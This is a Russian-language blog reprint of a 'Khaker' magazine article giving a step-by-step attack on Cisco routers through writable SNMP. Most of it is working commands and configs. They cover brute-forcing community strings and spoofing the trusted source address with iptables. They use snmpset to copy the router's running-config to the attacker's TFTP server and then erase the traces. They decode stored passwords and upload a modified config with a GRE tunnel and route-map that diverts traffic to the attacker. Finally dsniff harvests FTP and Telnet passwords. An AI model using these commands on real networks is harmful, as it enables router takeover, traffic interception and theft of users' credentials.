Ciscoman's notes (Записки цыщика c дипломом)

I'm Cisco Champion Community member for 2017!

I'm Cisco Champion Community member for 2017!
"Cisco Champions are passionate about Cisco and happy to share our knowledge, experience, and feedback."

вторник, 6 января 2009 г.

Укрощение дикой кошки v2.0

Статья была опубликована в журнале "Хакер", номер #109

Маршрутизаторы фирмы Cisco Systemsявляются тем, из чего в большинстве своем состоит железная основа сети Интернет сегодня. Их стабильное функционирование является залогом работоспособности Глобальной Сети и потому любая критическая ошибка в их операционной системе может поставить под угрозу работоспособность и связность целых сегментов Интернета.

К счастью (а может и к сожалению), в последнее время критических ошибок в операционной системе маршрутизаторов Cisco- IOS стали находить все меньше(или мне это только кажется? =)), но багов в голове сетевых администраторов от этого, похоже, меньше ничуть не становится. На просторах Дикого Дикого Веба все еще можно встретить роутеры, доступ к которым осуществляется по Telnet, SNMP-communityмаршрутизаторов назначены имена public или private, да еще и списки доступа ни для терминалов, ни для SNMP-сервера не настроены вообще.
Если в качестве доступа к терминалу используется протокол Telnet – это еще половина беды, то использование простых и часто встречающихся имен SNMP-community да еще и без должной фильтрации это вообще полный белый пушистый зверек. Как раз SNMP-сервер маршрутизатора и будет главной нашей точкой атаки, вариантов которой может быть несколько.
Первый вариант доступен нам, если доступ к snmp-агенту атакуемогомаршрутизатора не фильтруется или фильтруется плохо. В таком случае достаточно использовать перебор community-строк по словарю или брутфорсом. К счастью (или опять же, к сожалению =)), snmp-сервер понятия не имеет о том, что такое количество попыток и их лимит, потому перебор можно осуществлять сплошным потоком. Перебор можно осуществлять различными утилитами и, конечно, лучше если это будет самописный скрипт, но использование готового софта тоже приемлемо. Как пример, можно использовать утилиты из состава Solar Wind Engineers Toolset 9.0– комплекта приложений для сетевых инженеров, в состав которого входят утилиты для брутфорсинга snmp-communityстрок и для атаки на них по словарю. Утилиту очень просто найти в пиринговых сетях, надеюсь, это не составит проблем. Пример ее работы можно видеть на рисунке.

Второй вариант доступен нам, если snmp community задана распространенной (а значит легко подбираемой) строкой, но доступ к snmp-агенту надежно фильтруется в списках доступа. Этот вариант мы рассмотрим подробнее, так как он представляет больший интерес и большую сложность по сравнению с первым. Конечно, может быть еще более сложный вариант, состоящий из комбинации первого и второго способа в лучших ее проявлениях, то есть community-string задана правильно и списки доступа надежно настроены. Такой способ является немного более сложным, так как следуя из своей комбинированной защищенности обходится такой же комбинированной атакой, совмещающей в себе перебор community-string и подмену адреса источника. В таком случае серьезную проблему могут составить лишь слишком длинные строки community и неизвестные доверенные адреса.

И так, вернемся все же ко второму варианту. В качестве плацдарма для атаки будем использовать компьютер под управлением ОС Linux (в моем случае это Gentoo Linux 2007.0 c ядром 2.6.23). Для реализации атаки требуется наличие пакета net-snmp и iptables (я использовал версии пакетов 5.4 и 1.3.8 соответственно). Помимо всего прочего в ядре должен быть включен полная трансляция сетевых адресов и отслеживание соединений в виде модулей iptable_nat, ip_conntrack и ip_tables или вкомпилирован в ядро с поддержкой опций примерно так:

CONFIG_NETFILTER=y
CONFIG_NF_CONNTRACK_ENABLED=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_CONNTRACK_IPV4=y
CONFIG_IP_NF_IPTABLES=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_NEEDED=y

После установки всех необходимых пакетов и, при необходимости, пересборки ядра первым делом необходимо добавить правило iptables, которое будет выполнять преобразование сетевых адресов (в нашем случае их подмену). В правиле необходимо указать, что адрес источника всех пакетов, направляющихся по протоколу UDP к SNMP-агенту маршрутизатора ( работающего на 161-м UDP порту ) необходимо заменить на адрес того хоста, который может беспрепятственно использовать SNMP-менеджер для управления и сбора статистики ( читай - админские адреса ). Подобная запись выглядит следующим образом:

iptables -t nat -A POSTROUTING -p udp --dst 10.10.100.200 --dport 161 -j SNAT --to-source 192.168.0.137

здесь —dst — адрес атакуемого маршрутизатора, --to-source — адрес доверенного хоста, который имеет доступ к snmp-агенту. Для полной уверенности в корректности функционирования такой команды рекомендую сделать пробный дамп tcpdump'ом и посмотреть адреса назначения. Скорее всего, у тебя, мой уважаемый читатель, сразу возник вопрос о том, как мы будем получать ответы от SNMP-сервера маршрутизатора (агента). Ответ – никак. Нам это и не требуется. Единственный минус такого расклада – мы не сможем контролировать правильность выполнения команд и быть абсолютно уверенными в том, что мы все делаем правильно: ответы будут уходить доверенному адресу, а мы будет получать таймауты запросов, однако, маршрутизатор при правильно составленных запросах покорно выполнит все что от него требуется. На самом деле это очень похоже на то, как любой из нас ночью добирается до холодильника на кухне – хотя ничего и не видно, дорогу мы знаем прекрасно и всегда можем найти путь в нужное нам назначение =)Такая покорность маршрутизатора обусловлена, как ты догадался, самим принципом работы протокола UDP, так как соединение по UDP на транспортном уровне не устанавливается и мы спокойно может передавать данные не беспокоясь за из доставку и не получая уведомления об той самой успешной доставке.

Естественно, как и в любой другой системе, крупной добычей (хотя и не являющейся главной целью) являются конфигурационные файлы. Операционная система маршрутизаторов Cisco IOS не является исключением и в ней этими конфигурационными файлами могу быть running-config и startup-config главное отличие которых понятно из названия, но разницы между ними в полностью настроенном и автономно функционирующем маршрутизаторе чаще всего нет. Этот конфигурационный файл, описывающий все настройки роутера и будет нашей главной целью при атаке на snmp-community доступной на запись. Получит конфиг можно несколькими способами, но те из которых не доступны по сети мы рассматривать не будем. По сети конфигурационный файл может быть получен по протоколам FTP, TFTP или RSCP. В своем примере я буду использовать протокол TFTP для простоты, в качестве TFTPd будем использовать демон atftpd (я использовал версию 0.7), конфиг будет сохраняться в дефолтной папке tftpd - /tftpboot. Что до SNMP-MIB таблиц, то нас будет интересовать раздел CISCO-CONFIG-COPY-MIB, который доступен в Cisco IOS начиная с 12й ветки, заменив собой устаревшую секцию OLD-CISCO-SYSTEM-MIB.
В полном виде наш сценарий будет выглядеть так:

Укажем, что для передачи данных используем TFTP-протокол:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 integer 1

В качестве целого числа указывается протокол 1 – для TFTP, 2 – для FTP и 3 для RSCP.
Число 666 выбрано случайно и идентифицирует ячейку, в которую мы записываем нашу составную команду для копирования. - имя целевого маршрутизатора или ip-адрес. В моем случае это 172.22.2.1. Далее укажем, что хотим скопировать текущий используемый конфигурационный файл - running-config:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 integer 4

Если указать после integer 1, то IOS будет пытаться копировать файл из сети, находящийся, например, на TFTP, если 2, то любой локальный файл, не являющийся конфигурационным, 3 (startup-config), 4 (running-config), и последний вариант 5 - стандартный терминальный вывод. Третьей командой указываем, что хотим скопировать файл по сети (ccCopyDestFileType INTEGER: networkFile):

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 integer 1

Варианты целочисленного параметра аналогичны предыдущей команде. Четвертой командой назначим адрес TFTP-сервера:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 address <адрес TFTP-сервера>.

В мойм случае это 172.22.1.18. Далее зададим имя фала на TFTP-сервере:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 string victim-config

После того, как команда составленна, можно запускаем копирование:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 integer 1

Для запуск копирования можно указать параметр 1 или 4. Если бы у нас был доступ, могли бы проверить, успешно ли выполненно (возвращен статус 3):

snmpwalk -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.10.666

Однако, как и в случае всех других команд, нам будет возвращен статус:

Timeout: No Response from .

Потому правильность выполнения команды мы будем проверять по наличию в папке /tftpboot появится файл victim-config приемлемого размера. Далее можно подчистить за собой следы — удалить ячейку 666 с всеми нашими командами:

snmpset -v 1 -c private .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 integer 6

Ах да, чуть не забыл - естественно, в качестве community-строки private должно быть имя, заданное на маршрутизаторе.

Перейдем к следующему пункту наших действий — получение терминального доступа к консоли.
В скачанном конфиге нас больше всего интересуют, как это не банально, пароли. Тех самых паролей может быть несколько в разных вариациях:
- пароль на enable режим ( enable password 7 <пароль в виде открытого текста> или enable secret 5 <пароль в MD5> )
- пароль на терминальный доступ:

...
!
line vty 0 15
password 7 <пароль в виде открытого текста>
...

- пароль и имя пользователя ( username <имя пользователя> password 7 <пароль в виде открытого текста> или username <имя пользователя> secret 5 <пароль в MD5> )
Кроме всего вышеназванного, вместо открытого текста в конфигурационном файле может появиться, например, такая строка, пароль которой закодирован в результате применения команды service password-encryption:

password 7 06120A3258

где 06120A3258 — есть ничто иное как пароль открытым текстом - «test». Подобную кодировку назвать шифрованием тяжело, так как алгоритм кодирования ее известен и декодируется, например, утилитой Cain&Abel.
Возвращаясь к конфигурационному файлу атакуемого маршрутизатора, нам не составит труда найти строки, отвечающие за конфигурацию паролей и взломать их перебором или по словарю в Cain или просто декодировать их. Конечно, если пароль задан в MD5, то придется потратить значительное время. Итак, пароль получен! Однако, радоваться еще рано, ведь доступ к виртуальному терминалу может быть ограничен списком доступа, например, так:

...
!
access-list 10 permit 172.22.1.7
access-list 10 deny any
!
...
line vty 0 4
access-class 10 in
password 7 051F031C35
login
!
...

В таком случае решения может быть как минимум два. Первое — попытаться обойти этот стандартный список доступа. Однако трюк, подобный тому что мы провели с SNMP здесь не прокатит по нескольким причинам. как telnet, так и ssh протоколы используют надежный транспортный протокол TCP, который непременно требует установки соединения с помощью трехэтапного рукопожатия SYN<->SYN/ACK<->ACK, кроме того, ответные данные получать нам обязательно, иначе соединение теряет свой смысл. И все же решение такой проблемы есть, но доступно оно лишь в том случае, если атакующий находится в той же самой подсети, что и адреса, доступ которым разрешен по терминалу. Общий смысл сводится либо к простой смене адреса на интерфейсе атакующего, либо к спуфингу IP-адреса и/или MAC-адреса. Моей любимой утилитой, реализующей последнее является sTerm от кодера MAO, создателя Cain&Abel. Скорее всего, разобраться с ней у тебя не составит труда: все что требуется сделать — это задать желаемый IP-адрес и указать, требуется ли спуфить MAC-адрес источника.
Исе же, добраться в нужный сегмент сети, чаще всего, не представляется возможным ибо находится он, в отличие от маршрутизаторов, в DMS за корпоративным аппаратным файрволлом на основе, например, Cisco PIX. Конечно, это устройство тоже подвержено некоторым уязвимостям, но это повод для отдельной статьи. Итак, допустим, мы находимся за много километров и хопов от атакуемого маршрутизатора, и есть конечная цель — собирать пароли пользователей, трафик которых проходит через тот самый маршрутизатор, пачками в благородных целях (для коллекции).
Тогда мы берем другую тактику и снова обратимся к SNMP. Все, что потребуется изменить в предыдущем сценарии — поменять местами источник копирования и назначение, предварительно изменив конфигурационный файл на нашем TFTP. Это способ так же применим, если нам не удалось/не хватило мощности\времени/лениво подобрать пароль. Идея нашей атаки заключается в создании туннеля между атакующим и атакуемым роутером для заворачивания трафика от маршрутизатора к атакующему и последующего его возврата на маршрутизатор. Если ты знаком с базовыми принципами маршрутизации то должен прекрасно понимать, что туннель необходим нам, чтобы адрес следующего пункта назначения находился в той же подсети, что и один из интерфейсов маршрутизатора, через который будет проходить тот самый трафик. В нашем случае это будет самый распространенный интерфейс-туннель, используемый на Cisco роутерах — GRE.
Приблизительную схему атаки ты можешь видеть на рисунке. Открываем любимый текстовый редактор (позор, если это не vim или emacs) и приступаем к редактированию:

!
interface Tunnel0
ip address 10.0.0.1 255.255.255.252
tunnel source 172.22.2.1
tunnel destination 172.22.1.18
!
interface Ethernet0/0
ip address 172.22.2.1 255.255.255.128
ip policy route-map sniff-traffic
!
interface Ethernet0/1
ip address 192.168.0.2 255.255.255.252
ip policy route-map sniff-traffic
!
...
!
access-list 101 permit tcp any any eq telnet
access-list 101 permit tcp any any eq ftp
access-list 101 permit tcp any eq telnet any
access-list 101 permit tcp any eq ftp any
...
route-map sniff-traffic permit 10
match ip address 101
set ip next-hop 10.0.0.2
!
...

Первым делом мы создаем новый интерфейс — Tunnel0, по-умолчанию он имеет тип IP/GRE. В качестве источника укажем один из адресов существующих интерфейсов маршрутизатора, участвующих в процессе форвардинга трафика, а в качестве адреса назначения — адрес атакующего. В моем примере это 172.22.1.18. Далее создаем расширенный список доступа, который может фильтровать трафик, в отличие, от стандартных ACL, не только по ip-адресу источника и укажем, какие протоколы, точнее порты служб, к которым направляется трафик, нас интересуют. Следующим шагом будет создание карты маршрута (route-map), в которой мы сообщаем, что хотим перенаправлять трафик, соответствующий критериям ACL 101 на адрес 10.0.0.2, который впоследствии назначим туннельному интерфейсу на машине атакующего. Ну и наконец, применим карту маршрутов к интерфейсам с помощью политики IP:

ip policy route-map sniff-traffic.

Все. Конфигурация готова, можно заливать ее обратно на маршрутизатор как я это описал выше.
Теперь перейдем к машине атакующего. Для наших целей нам понадобится модуль ядра ip_gre.
Вот что сообщил modinfo об этом модуль в моей системе:

filename: /lib/modules/2.6.23-gentoo-r1/kernel/net/ipv4/ip_gre.ko
license: GPL
depends:
vermagic: 2.6.23-gentoo-r1 mod_unload 686 4KSTACKS

Для загрузки модуля выполним:

modprobe ip_gre

И проверим успешность его подгрузки с помощью команды:

lsmod | grep ip_gre

Если все прошло успешно, то можно приступить к установке пакета iproute2. С помощью него мы будем управлять нашим GRE-туннелем и маршрутизацией. Я использовал версию iproute2-ss070710, чего и тебе советую, на момент написания статьи она была последней. Туннель будет аналогичен тому, что мы создали на маршрутизаторе с тем лишь отличием, что адреса источника и назначения поменяются местами:

ip tunnel add Tunnel0 mode gre remote 172.22.2.1 local 172.22.1.18

Далее назначаем адреса туннелю:

ip addr add 10.0.0.2/30 dev Tunnel0

И поднимаем линк:

ip link set Tunnel0 up

Так как весь трафик нам необходимо возвращать на атакуемый маршрутизатор, то основным шлюзом будет для нас адрес 10.0.0.1. Чтобы не потерять связь с адресом 172.22.2.1 пропишем маршрутизацию к нему тоже:

ip route del default
ip route add default via 10.0.0.1
ip route add 172.22.2.0/25 via 172.22.1.61

Естественно, чтобы была возможность перенаправлять трафик, необходимо такую опцию включить:

echo '1' > /proc/sys/net/ipv4/ip_forward

И проверить, все ли корректно настроено у нас в iptables для цепочки FORWARD.
Теперь все готово для того, чтобы перенаправлять трафик и вытаскивть из него пароли чемоданами. В качестве парольного сниффера я использую dsniff. Запустим его:

dsniff -i Tunnel0 -w ./sniffed_passwords

Через некоторое время файл sniffed_passwords начнет заполняться паролями от FTP и Telnet-сессий, прочитать его можно так:

dsniff -r ./sniffed_passwords

Как говорил Остап Бендер - «Грузите апельсины бочками». На этом всё.
Вместо заключения стоит отметить, что подобный сценарий уже был описан в статье Mati Aharoni, William M. Hidalgo «Cisco SNMP configuration attack with a GRE tunnel» на www.securityfocus.com еще в 2005м году. Однако способ, приведенный авторами, чрезвычайно неудобен, ибо требует наличия маршрутизатора у атакующего и имеет предрасположенность к страшным извращениям с tcpdump'ом. Естественно, маршрутизатор в ближайшем киоске не купишь да и стоит самая простая модель немалых денег. Это первое. А второе — достать жирный канал, который смог бы переварить большой объем проходящего трафика тоже стоит немалых усилий. Ну и третье — скрытность. Понятно, что анонимный root-shell скроет следы атакующего, да и достать его очень просто (но не в соседнем киоске ;)) Всего наилучшего.
Сcылки:
http://www.securityfocus.com/infocus/1847 - Cisco SNMP configuration attack with a GRE tunnel
http://hellknights.void.ru/shados/0x48k_cisco-hacking.avi.bz2 - Видео к статье с конференции Chaos Construction Hack Around 2007

Постоянные читатели

Поиск по этому блогу